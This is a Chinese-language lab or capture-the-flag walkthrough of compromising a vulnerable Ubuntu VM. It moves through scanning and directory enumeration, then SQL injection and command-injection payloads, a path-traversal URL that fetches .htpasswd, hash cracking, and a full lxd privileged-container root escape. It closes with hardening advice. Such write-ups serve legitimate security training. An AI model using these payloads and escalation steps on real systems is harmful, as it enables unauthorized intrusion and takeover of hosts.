1. 靶机环境搭建与初始扫描
这个靶机环境基于Ubuntu系统构建,模拟了一个存在多个漏洞的Web应用。我们需要通过渗透测试技术逐步获取系统权限并最终拿到flag。首先需要确保攻击机(Kali Linux)和靶机处于同一网络环境。
在VMware中配置网络时,建议使用NAT模式或桥接模式。我个人的经验是,桥接模式更容易出现IP冲突,而NAT模式更稳定。配置完成后,可以使用以下命令确认网络连通性:
bash复制ping -c 4 192.168.103.150
如果无法ping通,需要检查VMware的网络设置,确保两台虚拟机都使用相同的网络适配器。常见问题包括:
- 防火墙阻止了ICMP请求
- 靶机未正确获取IP地址
- 网络适配器配置错误
2. 信息收集与端口扫描
使用arp-scan可以快速发现同一网段内的主机:
bash复制sudo arp-scan -l
这个命令会发送ARP请求并监听响应,比常规的ping扫描更可靠,特别是在某些主机禁用了ICMP响应的情况下。在实际渗透测试中,我经常遇到目标主机不响应ping但能通过arp-scan发现的情况。
接下来使用nmap进行更详细的端口扫描:
bash复制nmap -sV -O -T4 192.168.103.150
参数说明:
-sV:服务版本探测-O:操作系统探测-T4:加快扫描速度
扫描结果显示开放了22(SSH)和80(HTTP)端口。对于Web渗透测试,80端口通常是我们的首要目标。
3. Web应用漏洞挖掘
访问Web界面发现是一个登录页面。常见的测试方法包括:
- SQL注入测试
- 弱口令尝试
- 查看页面源代码寻找线索
尝试基本的SQL注入payload:
admin' --admin' OR '1'='1admin" OR ""="
发现输入特殊字符时返回"Illegal username"错误,初步判断有基本的输入过滤。使用sqlmap进一步验证:
bash复制sqlmap -u "http://192.168.103.150/login.php" --data="user=test&pass=test" --level=3 --risk=3
确认不存在SQL注入漏洞后,尝试注册新用户。注册功能本身可能也是一个攻击面,可以测试:
- 用户名注入
- 密码强度限制绕过
- 重复注册问题
4. 目录遍历与敏感文件获取
使用dirb进行目录扫描:
bash复制dirb http://192.168.103.150 /usr/share/wordlists/dirb/common.txt
发现/admin目录后,需要寻找登录凭证。通过分析Apache配置文件,发现使用了.htpasswd文件存储认证信息。利用目录穿越漏洞下载该文件:
code复制http://192.168.103.150/download.php?file=../../../../etc/apache2/.htpasswd
获取到的密码哈希可以使用John the Ripper破解:
bash复制john --wordlist=rockyou-45.txt hash.txt
5. 命令注入漏洞利用
在/admin/ping.php页面发现命令注入漏洞。测试不同的注入方式:
bash复制127.0.0.1 | whoami
127.0.0.1; id
127.0.0.1 && uname -a
127.0.0.1 || ls -la
发现只有管道符|未被过滤。利用这个特性可以执行系统命令。查找隐藏文件:
bash复制127.0.0.1|find /var/www/html/webadmin/S0mextras -name ".*"
6. SSH登录与权限提升
获取SSH凭证后登录系统:
bash复制ssh n0nr00tuser@192.168.103.150
检查SUID权限文件:
bash复制find / -perm -u=s -type f 2>/dev/null
发现lxd存在容器逃逸漏洞。利用步骤如下:
- 在攻击机生成alpine镜像:
bash复制git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine
- 将镜像传输到靶机:
bash复制scp alpine-v3.23-x86_64-20260119_1917.tar.gz n0nr00tuser@192.168.103.150:/tmp/
- 在靶机上执行提权操作:
bash复制lxc image import ./alpine-v3.23-x86_64-20260119_1917.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
7. 获取flag与后渗透
进入容器后,可以访问宿主机的文件系统:
bash复制cd /mnt/root/root
ls -la
通常在CTF挑战中,flag文件可能位于:
- /root/flag.txt
- /home/user/flag
- /var/www/html/flag
查找flag的常用命令:
bash复制find / -name "*flag*" 2>/dev/null
grep -r "flag{" / 2>/dev/null
8. 安全加固建议
完成渗透测试后,应该为目标系统提供安全建议:
- Web应用层面:
- 修复目录遍历漏洞
- 加强输入验证
- 禁用不必要的PHP函数
- 系统层面:
- 移除不必要的SUID权限
- 更新lxd到最新版本
- 限制SSH访问
- 配置层面:
- 使用更安全的密码存储方式
- 定期审计系统权限
- 启用日志监控
9. 渗透测试经验总结
在这次靶机演练中,有几个关键点值得注意:
-
信息收集要全面:从最初的端口扫描到目录遍历,每一步都提供了新的攻击面。
-
漏洞利用要有耐心:尝试多种注入方式,不要因为第一次失败就放弃。
-
权限提升需要技巧:了解各种提权方法(SUID、sudo、容器逃逸等)非常重要。
-
工具使用要灵活:结合自动化工具和手动测试,发挥各自优势。
在实际工作中,渗透测试还需要注意:
- 获得授权后再测试
- 避免影响业务系统
- 详细记录测试过程
- 提供完整报告
通过这样的靶机练习,可以系统性地提升渗透测试技能,为实际工作打下坚实基础。